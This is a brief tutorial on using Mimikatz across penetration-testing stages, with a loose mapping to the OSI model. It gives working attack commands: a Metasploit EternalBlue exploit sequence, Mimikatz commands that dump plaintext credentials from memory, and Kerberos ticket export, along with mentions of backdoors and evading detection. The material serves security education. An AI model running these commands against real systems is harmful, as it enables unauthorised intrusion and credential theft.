Mimikatz

Introduction: Mimikatz is a post-exploitation tool used to extract plaintext passwords, hash, PIN codes, and Kerberos tickets from memory. This lecture will cover Mimikatz usage through the stages of penetration testing: Information Gathering, Scanning, Exploitation, Privilege Escalation, and Post-Exploitation, as well as its relevance to the OSI model.

Mimikatz and the OSI Model

While Mimikatz operates primarily at the Application Layer (Layer 7) of the OSI model, its impact can be felt across multiple layers:

- **Application Layer (Layer 7):** Mimikatz directly interacts with software applications to extract credentials.
- **Presentation Layer (Layer 6):** Handles encryption and decryption, relevant when Mimikatz decrypts credentials.
- **Session Layer (Layer 5):** Manages sessions, pertinent when Mimikatz retrieves session tickets like Kerberos tickets.
- **Data Link Layer (Layer 2):** Indirectly impacted if credentials are used to access network resources.

Penetration Testing Methodologies with Mimikatz

1. Information Gathering

Objective: Collect information about the target network and systems to identify potential attack vectors.

Techniques:

- Enumerate domain users and their privileges.
- Identify the operating system and patch level.

Example: Use net user to list users on a Windows machine:

- `net user`

2. Scanning

Objective: Discover and map out the network's attack surface.

Techniques:

- Use network scanning tools to find open ports and services.
- Identify machines where Mimikatz can be deployed.

Example: Nmap scan to identify open ports and services:

- `nmap -p 445 --script smb-os-discovery <target_ip>`

3. Exploitation

Objective: Gain initial access to a system using identified vulnerabilities.

Techniques:

- Use exploits like EternalBlue to gain access to target systems.
- Deploy Mimikatz after successful exploitation.

Example: Using Metasploit to exploit EternalBlue:

- **use exploit/windows/smb/ms17_010_eternalblue**
- **set RHOSTS <target_ip>**
- **run**

4. Privilege Escalation

Objective: Escalate privileges to gain higher-level access.

Techniques:

- Extract credentials from memory using Mimikatz.
- Use extracted credentials to gain administrative access.

Example: Run Mimikatz to extract plaintext passwords:

- mimikatz.exe
- privilege::debug
- log
- sekurlsa::logonpasswords

Explanation:

- privilege::debug enables debug privileges.
- log starts logging output.
- sekurlsa::logonpasswords extracts credentials.

5. Post-Exploitation

Objective: Ensure persistence, clean up traces, and gather further information.

Techniques:

- Create backdoors or persistent mechanisms.
- Clean up to avoid detection.

Example: Dumping Kerberos tickets for later use:

- mimikatz.exe
- privilege::debug
- kerberos::list /export

Explanation:

- kerberos::list /export exports Kerberos tickets for later use.

Conclusion

Mimikatz is a powerful post-exploitation tool used primarily for credential dumping and privilege escalation. By understanding its operation within the OSI model and following penetration testing methodologies, security professionals can effectively utilize Mimikatz to identify vulnerabilities, exploit them, escalate privileges, and conduct thorough post-exploitation activities. Always use Mimikatz ethically and with proper authorization.